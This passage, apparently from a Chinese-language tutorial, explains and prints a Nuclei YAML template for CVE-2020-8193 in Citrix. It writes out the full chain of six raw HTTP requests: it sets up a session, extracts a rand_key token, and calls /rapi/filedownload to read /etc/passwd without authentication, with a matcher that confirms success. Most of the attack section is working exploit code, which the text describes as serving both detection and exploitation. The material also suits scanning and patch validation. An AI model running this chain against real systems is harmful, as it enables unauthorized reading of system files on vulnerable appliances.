# extractors. We simply pass it as header.
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: randkey
<appfwprofile><login></login></appfwprofile>
...
# Create an extractor for randkey retrieval on runtime.
extractors:
- type: regex
name: randkey
part: body
internal: true
regex:
- "(?m)[0-9]{3,10}\.[0-9]+"
第一步:建立会话
- 请求 1 : 向
/pcidss/report接口发送一个特殊的 POST 请求。这个请求的目的是在服务器上创建一个有效的会话,并获取一个关键的会话 Cookie(如SESSID)。
第二步:会话维护与参数获取
- 请求 2、3、4 : 这是一系列 GET 请求(访问
/menu/ss,/menu/neo,/menu/stc)。这些请求的主要作用是:
-
- 维持会话活性:确保上一步获取的 Cookie 仍然有效。
- 获取动态参数 :从服务器的响应中(例如 HTML 页面里的 JavaScript 代码)提取一个名为
rand_key的动态令牌。这个令牌是后续利用所必需的。
第三步:利用漏洞读取文件
- 请求 5 : 再次向
/pcidss/report发送 POST 请求,但这次在请求头中带上了从第二步中提取的rand_key。这个请求进一步巩固了攻击条件。 - 请求 6 : 这是最关键的利用请求。它向
/rapi/filedownload接口发送 POST 请求,并通过filter=path:%2Fetc%2Fpasswd参数(URL 编码后的/etc/passwd)指定要读取的文件
下面给出了用于检测以及漏洞利用的最终模板结果,该模板通过利用 CVE-2020-8193 读取 /etc/passwd文件:
yaml
id: CVE-2020-8193
info:
name: Citrix unauthenticated LFI
author: pdteam
severity: high
# Source:- https://github.com/jas502n/CVE-2020-8193
# This template covers only the detection part, use the above exploit for the exploit confirmation.
requests:
- raw:
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/xml
X-NITRO-USER: xpyZxwy6
X-NITRO-PASS: xWXHUJ56
<appfwprofile><login></login></appfwprofile>
- |
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
GET /menu/neo HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
GET /menu/stc HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: randkey
<appfwprofile><login></login></appfwprofile>
- |
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: randkey
<clipermission></clipermission>
cookie-reuse: true
# Using cookie-reuse to maintain session between each request, same as browser.
extractors:
- type: regex
name: randkey
part: body
internal: true
regex:
- "(?m)[0-9]{3,10}\.[0-9]+"
# Using rand_key as dynamic variable to make use of extractors at run time.
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
Reference
zhuanlan.zhihu.com/p/636410562